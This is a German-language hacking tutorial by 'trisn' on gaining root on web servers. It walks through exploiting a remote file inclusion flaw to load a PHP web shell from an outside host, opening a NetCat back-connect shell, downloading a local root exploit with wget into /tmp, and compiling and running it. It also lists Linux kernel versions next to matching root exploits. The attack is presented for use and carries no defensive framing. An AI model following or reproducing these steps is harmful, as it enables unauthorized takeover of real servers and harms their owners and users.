r00ting über RFI
Written Tutorial by trisn
Ich gehe davon aus das ihr euch mit dem Wesen der RFI/LFI befasst
habt und diese ausführen könnt.
Code:
Was wir brauchen
- Vulnerable RFI Seite
- Eine PHP Shell wie c99,r57,r100 oder MulCiShell 2.0
- NetCat
- Local Root Exploit eingepasst für den Kernel und die Version der RootServers
Ich erkläre euch den generellen Ablauf.
Wir finden einen RFI Vulnerable Page
www.vuln.de/home/Site=http://myftp.com/c99.php
Jetzt haben wir Zugriff auf den r00t und werden und das ganze mal genauer ansehen.
Bei einer c99 findet ihr den SAFE-MOD auf der rechten Seite , wir gehen davon aus
das dieser auf OFF steht.
Wir können nun auch die Version des Kernels sehen oder durch eingeben in die Commandozeile
Nun benutzen wir die BackConnection Funktion die wir leicht in r57 oder c99 finden (Version bedingt)
Nun Öffnen wir NetCat und gehen zu einem spezifischen Port (der Port muss offen sein ((Firewall aus)) wenn wir einen Router haben)
Wir geben 11457 als Port an , das ist der Port für die r57 Shell (Letzt erschienene Version)
Nun gehen wir in die cmd und öffnen das NetCat Verzeichniss
cd C:\Programme\NetCat zB
Wir geben folgendes ein ;
Nun baut er den Start Connect auf
In der mitte der r57 finden wir im Menü NET und Back-Connect.
Geben unsere IP ein.
Nun gehen wir auf www.cmyip.com um zusehen ob wir eine Dynamische IP haben
In die Port eingabe geben wir den Port zu dem NetCat connectet ein.
Wenn wir Connect drücken gibt uns NetCat eine Shell zum Server
Nun fangen wir ein den Server zu r00ten =)
Wir müssen ein veränderbares Root Exploit (angepasst an den Kernel und die Version finden)
Wenn nicht kriegen wir eine Fehlermeldung das wir keine Zugriffsrechte haben.
Code:
Hier Versionen + jeweiliges Exploit
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
Wir sehen das es der 2.6.8 Linux Kernelist
Wir brauchen das h00lyshit exploit
Zu finden unter milw0rm , Security-Pass usw.
Wir können den /tmp Ordner benutzen weil er ein Standart Ordner zum beschreiben ist.
cd /tmp
Zum Download Command von Linux Kerneln benutzen wir zB wget.
Zum sehen
wget www.vuln.de/localroot/h00lyshit.c
where www.vuln.de/localroot/h00lyshit.c ist die URL
Nach dem Download müssen wir das Exploit bearbeiten so das es angepasst wird
bei h00lyshit müssen wir
gcc h00lyshit.c -o h00lyshit
eingeben
Nun haben wir das File h00lyshit erstellt
Der Command um das Exploit zu starten ist
./h00lyshit <Eine große Datei auf dem Server>
Wir müssen eine große Datei wählen um Access zum root zu bekommen
Und einen großen ordner erstellen in /tmp oder einem anderen beschreibbaren Ordner
Der Command ist
dd if=/dev/urandom of=NamedesFiles count=2m
Wir müssen 2-3 Minuten warten
Wenn der Command nicht funktioniert nehmen wir diesen
dd if=/dev/zero of=/tmp/NamedesFiles count=102400 bs=1024
Nun können wir das Exploit zum laufen bringen unter der Eingabe
./h00lyshit NamedesFiles
oder
./h00lyshit /tmp/NamedesFiles
Wenn keine Fehlermeldungen kommen haben wir nun Zugriff zum R00tServer
Um nachzusehen ;
id
oder
whoami eingeben
Wenn es root ausgibt haben wir den r00t ger00tet
Nun können wir auf die kompletten Server zugreifen
################################################## ###
Das ganze werde ich nochmal in einem V-TUT demonstrieren
nur leider hab ich mit meiner Festplatte zurzeit zu kämpfen :/
################################################## ####
Credits gehen mit zur 1nj3ct Crew - N() 1
*
trisn